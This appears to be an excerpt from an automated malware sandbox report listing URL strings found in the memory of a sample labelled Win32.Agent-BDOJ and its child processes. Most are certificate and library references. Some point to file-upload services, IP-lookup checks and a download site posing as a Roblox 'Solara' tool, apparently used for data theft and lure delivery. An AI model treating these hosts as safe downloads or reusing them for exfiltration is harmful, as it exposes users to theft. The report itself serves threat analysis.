Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000002.1504216075.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1405743507.000001DCB591A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-term4-fra2.roblox.com
Source: bound.exe, 00000011.00000002.1605507236.00000254B6B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://getsolara.dev
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5E94000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412898887.000001DCB5E94000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nodejs.org
Source: powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000002.1504216075.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393361650.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393361650.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000B.00000002.1500577512.000001E35B281000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393361650.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393361650.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393361650.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: Amcache.hve.29.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000002.1504216075.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB5935000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.nodejs.org
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://99ab5d9c.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C1D000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://99ab5d9c.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip
Source: powershell.exe, 0000000B.00000002.1500577512.000001E35B281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://aka.ms/vs/17/release/vc_redist.x64.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadr#
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr~
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr~r
